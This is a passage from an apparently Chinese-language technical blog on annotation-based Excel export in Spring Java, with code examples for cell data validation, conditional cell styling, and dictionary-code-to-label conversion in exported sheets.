 </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;价格&quot;, index = 3)</span>  </span><br><span class="line">    <span class="keyword">private</span> Double price;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;库存&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer stock;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;分类&quot;, index = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> String category;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 构造方法(不包含rowNum,rowNum由<span class="doctag">@ExcelLine</span>自动填充)  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="keyword">public</span> <span class="title function_">RowNumberDTO</span><span class="params">(String productName, String productCode, Double price, Integer stock, String category)</span> &#123;  </span><br><span class="line">        <span class="built_in">this</span>.productName = productName;  </span><br><span class="line">        <span class="built_in">this</span>.productCode = productCode;  </span><br><span class="line">        <span class="built_in">this</span>.price = price;  </span><br><span class="line">        <span class="built_in">this</span>.stock = stock;  </span><br><span class="line">        <span class="built_in">this</span>.category = category;  </span><br><span class="line">    &#125;&#125;</span><br></pre></td></tr></table></figure><h3 id="数据验证功能">数据验证功能</h3><p>限制单元格中的内容，作为导入模板还是挺有用的。<br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/validation&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;员工信息-数据验证&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;员工信息&quot;),  </span></span><br><span class="line"><span class="meta">    writeHandler = &#123;ExcelValidationWriteHandler.class&#125;  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;DataValidationDTO&gt; <span class="title function_">validationExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateDataValidationData(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果是要设置指定返回行进行验证可以这么写（1~1000行会有验证，其他行不会）：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/validation-custom&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;员工信息-自定义验证&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(  </span></span><br><span class="line"><span class="meta">        sheetName = &quot;员工信息&quot;,  </span></span><br><span class="line"><span class="meta">        validationStartRow = 1,  </span></span><br><span class="line"><span class="meta">        validationEndRow = 1000  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;DataValidationDTO&gt; <span class="title function_">validationCustomExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateDataValidationData(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@Builder</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataValidationDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 姓名 - 文本长度验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;姓名&quot;, index = 0)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.TEXT_LENGTH, minLength = 2, maxLength = 10, errorMessage = &quot;姓名长度必须在2-10个字符之间&quot;, promptMessage = &quot;请输入2-10个字符的姓名&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 性别 - 下拉列表验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;性别&quot;, index = 1)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.LIST, options = &#123; &quot;男&quot;, &quot;女&quot; &#125;, errorMessage = &quot;性别只能选择：男、女&quot;, promptMessage = &quot;请选择性别&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String gender;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 年龄 - 整数范围验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;年龄&quot;, index = 2)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.INTEGER, min = 18, max = 65, errorMessage = &quot;年龄必须在18-65之间&quot;, promptMessage = &quot;请输入18-65之间的整数&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer age;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 工资 - 小数范围验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;工资&quot;, index = 3)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.DECIMAL, min = 3000.0, max = 50000.0, errorMessage = &quot;工资必须在3000-50000之间&quot;, promptMessage = &quot;请输入3000-50000之间的数值&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> Double salary;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 入职日期 - 日期验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;入职日期&quot;, index = 4)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.DATE, dateFormat = &quot;yyyy-MM-dd&quot;, errorMessage = &quot;请输入有效的日期格式&quot;, promptMessage = &quot;请输入日期，格式：yyyy-MM-dd&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> LocalDate hireDate;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 部门 - 下拉列表验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门&quot;, index = 5)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.LIST, options = &#123; &quot;技术部&quot;, &quot;销售部&quot;, &quot;人事部&quot;, &quot;财务部&quot;, &quot;运营部&quot; &#125;, errorMessage = &quot;请从下拉列表中选择部门&quot;, promptMessage = &quot;请选择部门&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String department;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 职位 - 下拉列表验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;职位&quot;, index = 6)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.LIST, options = &#123; &quot;初级工程师&quot;, &quot;中级工程师&quot;, &quot;高级工程师&quot;, &quot;技术经理&quot;, &quot;技术总监&quot; &#125;, errorMessage = &quot;请从下拉列表中选择职位&quot;, promptMessage = &quot;请选择职位&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String position;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 工作年限 - 整数验证（最小值）  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;工作年限&quot;, index = 7)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.INTEGER, min = 0, max = 50, errorMessage = &quot;工作年限必须大于等于0&quot;, promptMessage = &quot;请输入工作年限（年）&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer workYears;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 绩效评分 - 小数验证  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;绩效评分&quot;, index = 8)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.DECIMAL, min = 0.0, max = 10.0, errorMessage = &quot;绩效评分必须在0-10之间&quot;, promptMessage = &quot;请输入0-10之间的评分&quot;, showPromptBox = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> Double performanceScore;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 邮箱 - 任意值（仅提示）  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;邮箱&quot;, index = 9)</span>  </span><br><span class="line">    <span class="meta">@ExcelValidation(type = ValidationType.ANY, promptMessage = &quot;请输入有效的邮箱地址，例如：example@company.com&quot;, showPromptBox = true, showErrorBox = false)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际的效果如图：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/e63bd2e312f15f69840b9e9978fe51c9.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/f66e4540c1c262e93e1e8b6b07fc463f.png" alt=""></p><h3 id="条件样式">条件样式</h3><p>根据单元格值自动应用不同样式，不同的颜色、不同字体等，比如以学生分数90分以上一个颜色，60-90一个颜色，60以下一个颜色。注意下方的注解<code>ConditionalStyle</code>的用法。<br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/conditional-style&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">        name = &quot;条件样式示例&quot;,  </span></span><br><span class="line"><span class="meta">        sheets = @Sheet(sheetName = &quot;条件样式示例&quot;),  </span></span><br><span class="line"><span class="meta">        writeHandler = &#123;ConditionalStyleWriteHandler.class&#125;  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ConditionalStyleDTO&gt; <span class="title function_">conditionalStyleExport</span><span class="params">(  </span></span><br><span class="line"><span class="params">        <span class="meta">@RequestParam(defaultValue = &quot;20&quot;)</span> <span class="type">int</span> count  </span></span><br><span class="line"><span class="params">)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateConditionalStyleData(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConditionalStyleDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;学生姓名&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String studentName;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;考试分数&quot;)</span>  </span><br><span class="line">    <span class="meta">@ConditionalStyle(conditions = &#123; @Condition(value = &quot;&gt;=90&quot;, style = @CellStyleDef(backgroundColor = &quot;#00FF00&quot;, // 绿色  </span></span><br><span class="line"><span class="meta">          bold = true)), @Condition(value = &quot;&gt;=60&quot;, style = @CellStyleDef(backgroundColor = &quot;#FFFF00&quot; // 黄色  </span></span><br><span class="line"><span class="meta">    )), @Condition(value = &quot;&lt;60&quot;, style = @CellStyleDef(backgroundColor = &quot;#FF0000&quot;, // 红色  </span></span><br><span class="line"><span class="meta">          fontColor = &quot;#FFFFFF&quot;)) &#125;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer score;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;任务状态&quot;)</span>  </span><br><span class="line">    <span class="meta">@ConditionalStyle(conditions = &#123;  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;已完成&quot;, style = @CellStyleDef(backgroundColor = &quot;#00FF00&quot;, fontColor = &quot;#FFFFFF&quot;)),  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;进行中&quot;, style = @CellStyleDef(backgroundColor = &quot;#FFFF00&quot;)),  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;已取消&quot;, style = @CellStyleDef(backgroundColor = &quot;#808080&quot;, fontColor = &quot;#FFFFFF&quot;)) &#125;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String status;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;销售额&quot;)</span>  </span><br><span class="line">    <span class="meta">@ConditionalStyle(conditions = &#123;  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;&gt;=10000&quot;, style = @CellStyleDef(backgroundColor = &quot;#FFD700&quot;, // 金色  </span></span><br><span class="line"><span class="meta">                bold = true)),  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;&gt;=5000&quot;, style = @CellStyleDef(backgroundColor = &quot;#87CEEB&quot; // 天蓝色  </span></span><br><span class="line"><span class="meta">          )) &#125;)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal salesAmount;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;等级&quot;)</span>  </span><br><span class="line">    <span class="meta">@ConditionalStyle(conditions = &#123;  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;regex:^A.*&quot;, style = @CellStyleDef(backgroundColor = &quot;#00FF00&quot;, bold = true)),  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;regex:^B.*&quot;, style = @CellStyleDef(backgroundColor = &quot;#FFFF00&quot;)),  </span></span><br><span class="line"><span class="meta">          @Condition(value = &quot;regex:^C.*&quot;, style = @CellStyleDef(backgroundColor = &quot;#FFA500&quot;)) // 橙色  </span></span><br><span class="line"><span class="meta">    &#125;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String grade;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>导出示例：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/7c8142665e0b1a48cc33a6663050e054.png" alt=""></p><h3 id="导出数据字典转换">导出数据字典转换</h3><p>实际业务开发过程中肯定无法避免字段以<code>tinyint</code>储存或者有枚举的情况，那么如何处理这种情况？<br>如下是直接塞入<code>sex</code>和<code>status</code>字段为随机数值的情况，其他数据为随机生成数据，代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/export&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;字典转换示例&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;用户信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;DictExampleDTO&gt; <span class="title function_">exportDictExample</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    List&lt;DictExampleDTO&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();  </span><br><span class="line">    <span class="type">Random</span> <span class="variable">random</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Random</span>();  </span><br><span class="line">  </span><br><span class="line">    String[] departments = &#123;<span class="string">&quot;技术部&quot;</span>, <span class="string">&quot;市场部&quot;</span>, <span class="string">&quot;人事部&quot;</span>, <span class="string">&quot;财务部&quot;</span>, <span class="string">&quot;运营部&quot;</span>&#125;;  </span><br><span class="line">    String[] usernames = &#123;<span class="string">&quot;张三&quot;</span>, <span class="string">&quot;李四&quot;</span>, <span class="string">&quot;王五&quot;</span>, <span class="string">&quot;赵六&quot;</span>, <span class="string">&quot;钱七&quot;</span>, <span class="string">&quot;孙八&quot;</span>, <span class="string">&quot;周九&quot;</span>, <span class="string">&quot;吴十&quot;</span>&#125;;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= count; i++) &#123;  </span><br><span class="line">        <span class="type">DictExampleDTO</span> <span class="variable">dto</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DictExampleDTO</span>();  </span><br><span class="line">        dto.setId((<span class="type">long</span>) i);  </span><br><span class="line">        dto.setUsername(usernames[random.nextInt(usernames.length)] + i);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 性别: 数据库存储 0/1/2，导出时会转换为 女/男/未知  </span></span><br><span class="line">        dto.setSex(String.valueOf(random.nextInt(<span class="number">3</span>))); <span class="comment">// 0, 1, 2  </span></span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 状态: 数据库存储 0/1/2，导出时会转换为 正常/禁用/锁定  </span></span><br><span class="line">        dto.setStatus(String.valueOf(random.nextInt(<span class="number">3</span>))); <span class="comment">// 0, 1, 2  </span></span><br><span class="line">  </span><br><span class="line">        dto.setDepartment(departments[random.nextInt(departments.length)]);  </span><br><span class="line">        dto.setCreateTime(LocalDateTime.now().minusDays(random.nextInt(<span class="number">365</span>)));  </span><br><span class="line">        dto.setRemark(<span class="string">&quot;这是测试数据 &quot;</span> + i);  </span><br><span class="line">  </span><br><span class="line">        list.add(dto);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">return</span> list;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>处理方式为在<code>ExcelProperty</code>中添加属性<code>converter = DictConverter.class</code>并额外添加注解<code>@ExcelDict(dictType = &quot;sys_user_sex&quot;)</code>标明用的是哪个字典。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DictExampleDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户ID&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户名&quot;, index = 1)</span>  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 性别字典转换示例  </span></span><br><span class="line"><span class="comment">     * 导出时: 0 → 女, 1 → 男, 2 → 未知  </span></span><br><span class="line"><span class="comment">     * 导入时: 女 → 0, 男 → 1, 未知 → 2  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="meta">@ExcelProperty(value = &quot;性别&quot;, index = 2, converter = DictConverter.class)</span>  </span><br><span class="line">    <span class="meta">@ExcelDict(dictType = &quot;sys_user_sex&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String sex;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 状态字典转换示例  </span></span><br><span class="line"><span class="comment">     * 导出时: 0 → 正常, 1 → 禁用, 2 → 锁定  </span></span><br><span class="line"><span class="comment">     * 导入时: 正常 → 0, 禁用 → 1, 锁定 → 2  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="meta">@ExcelProperty(value = &quot;状态&quot;, index = 3, converter = DictConverter.class)</span>  </span><br><span class="line">    <span class="meta">@ExcelDict(dictType = &quot;sys_user_status&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String status;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> String department;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;创建时间&quot;, index = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;备注&quot;, index = 6)</span>  </span><br><span class="line">    <span class="keyword">private</span> String remark;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个<code>DictConverter</code>为封装的转换器，同时需要有对应的service实现。示例代码：<br>static中就是你所需实际项目中的字典值，需要将注解的<code>dictType</code>字段和下面key进行对应。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Service</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DictServiceImpl</span> <span class="keyword">implements</span> <span class="title class_">DictService</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 模拟字典数据  </span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, Map&lt;String, String&gt;&gt; DICT_DATA = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">static</span> &#123;  </span><br><span class="line">        <span class="comment">// 性别字典  </span></span><br><span class="line">        Map&lt;String, String&gt; sexDict = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        sexDict.put(<span class="string">&quot;0&quot;</span>, <span class="string">&quot;女&quot;</span>);  </span><br><span class="line">        sexDict.put(<span class="string">&quot;1&quot;</span>, <span class="string">&quot;男&quot;</span>);  </span><br><span class="line">        sexDict.put(<span class="string">&quot;2&quot;</span>, <span class="string">&quot;未知&quot;</span>);  </span><br><span class="line">        DICT_DATA.put(<span class="string">&quot;sys_user_sex&quot;</span>, sexDict);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 状态字典  </span></span><br><span class="line">        Map&lt;String, String&gt; statusDict = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        statusDict.put(<span class="string">&quot;0&quot;</span>, <span class="string">&quot;正常&quot;</span>);  </span><br><span class="line">        statusDict.put(<span class="string">&quot;1&quot;</span>, <span class="string">&quot;禁用&quot;</span>);  </span><br><span class="line">        statusDict.put(<span class="string">&quot;2&quot;</span>, <span class="string">&quot;锁定&quot;</span>);  </span><br><span class="line">        DICT_DATA.put(<span class="string">&quot;sys_user_status&quot;</span>, statusDict);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getLabel</span><span class="params">(String dictType, String dictValue)</span> &#123;  </span><br><span class="line">        Map&lt;String, String&gt; dict = DICT_DATA.get(dictType);  </span><br><span class="line">        <span class="keyword">if</span> (dict != <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="keyword">return</span> dict.get(dictValue);  </span><br><span class="line">        &#125;        </span><br><span class="line">        <span class="keyword">return</span> dictValue;  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getValue</span><span class="params">(String dictType, String dictLabel)</span> &#123;  </span><br><span class="line">        Map&lt;String, String&gt; dict = DICT_DATA.get(dictType);  </span><br><span class="line">        <span class="keyword">if</span> 